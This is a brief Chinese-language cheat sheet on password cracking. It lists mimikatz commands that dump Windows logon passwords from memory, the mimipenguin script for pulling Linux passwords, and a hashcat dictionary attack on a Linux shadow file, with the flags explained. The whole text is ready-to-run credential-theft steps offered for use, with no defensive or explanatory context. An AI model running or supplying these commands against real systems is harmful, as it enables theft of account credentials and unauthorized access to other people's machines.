Windows口令破解-mimikatz

提升权限 一：privilege::debug
抓取密码 二：sekurlsa::logonpasswords

Linux口令破解-mimipenguin

添加执行权限 一：chmod +x mimipenguin.sh
抓取密码 二：./mimipenguin.sh

Hashcat

破解Linux密码文件shadow
./hashcat-cli32.bin -m 1800 -a 0 -o found1.txt --remove 1.txt password_list.txt
-m：哈希类别,例如-m 1800是sha512 Linux 加密
-a 0：密码字典攻击
-o found1.txt：定义输出文件为found1.txt
–remove：移除1.txt中破解成功的hash